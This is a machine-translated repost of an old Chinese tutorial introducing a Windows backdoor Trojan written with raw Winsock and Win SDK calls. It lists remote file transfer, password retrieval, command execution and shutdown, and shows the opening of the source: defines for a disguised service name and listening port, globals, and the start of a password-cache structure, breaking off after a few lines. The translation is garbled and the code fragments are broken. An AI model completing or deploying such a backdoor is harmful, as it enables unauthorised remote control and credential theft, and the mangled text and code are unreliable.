A simple Trojan (1)

zhaozj2021-02-11  200

A simple Trojan Liezi (1) [Author: Virus Add Time: 2001-5-21 06:12:02 PM]

Source: Green Corps

俺 Write articles generally have a source code. Except for the external direction, don't love to play too much illustrative text, because I feel like this.

It is only more practical, and about those functions and functions can go to the book, where to talk about anyone more.

Here, I have given the asynchronous socket method, directly call the Winsock API, Win SDK written Trojan (VC, C Builder next to compile, debugging), no need to client, after compiling dozens K. Some main functions, Document browsing, upload, download (all support unparallerts), change the directory, get system information, remove password, execute file, display process, send message, shutdown, and some control functions, Win 9X, NT / 2000 Can be used, under NT, 2000, because the cmd.exe has been changed or does not exist, then the program will be useless. So do not call cmd.exe to complete, all by yourself, Win API implementation. I don't want to be very troublesome. I suggest a friend who writes Trojans and network communication with ready-made controls to be familiar with these fundamentals, especially in network communication. If you are a programmer, I think I don't have to use me. More, in the development, I haven't seen it yet, which company has been made to do it with the current class (MFC, VCL).

This procedure is still not very robust. After writing, it has not been coming and optimized, mainly to make everyone familiar with Winsock and Win SDK programming.

/ / -------------------------------------------------------------------------------------------- ---------------------------

// Winsock API, WIN SDK programming, no client

//

// Author: Jia Jia

/ / -------------------------------------------------------------------------------------------- ---------------------------

#include

#include

#include

#pragma HDRSTOP

#include

#pragma argsused

#define run "//winmon32.exe"

// Register service

#define service_proc 1

// Uninstall service

#define unservice_proc 0

#define TH32CS_SNAPPROCESS 0x00000002

#define process_handle_name 255

// buffer length

#define dwbuffsize 2048

// Command line length

#define dwcomm 50

#define port 9102

#define WM_Socket WM_USER 1

#define prompt "lanlan: //>"

DWORD DWVERSION = MakeWord (1, 1);

DWORD dwflag = true;

Wsadata wsadata;

Socket Createsock, Newsock;

SockAddr_in sock_in, news_in;

LPTSTSTSTSTSTSTSTSZREADBUFF, OB, TEMPBUFF

Int addrlen;

// Cache Password structure

Typedef struct tagpassword_cache_entry {

Word cbentry;

Word cbResource;

Word cbpassword;

Next 8

转载请注明原文地址:https://www.9cbs.com/read-3883.html

New Post(0)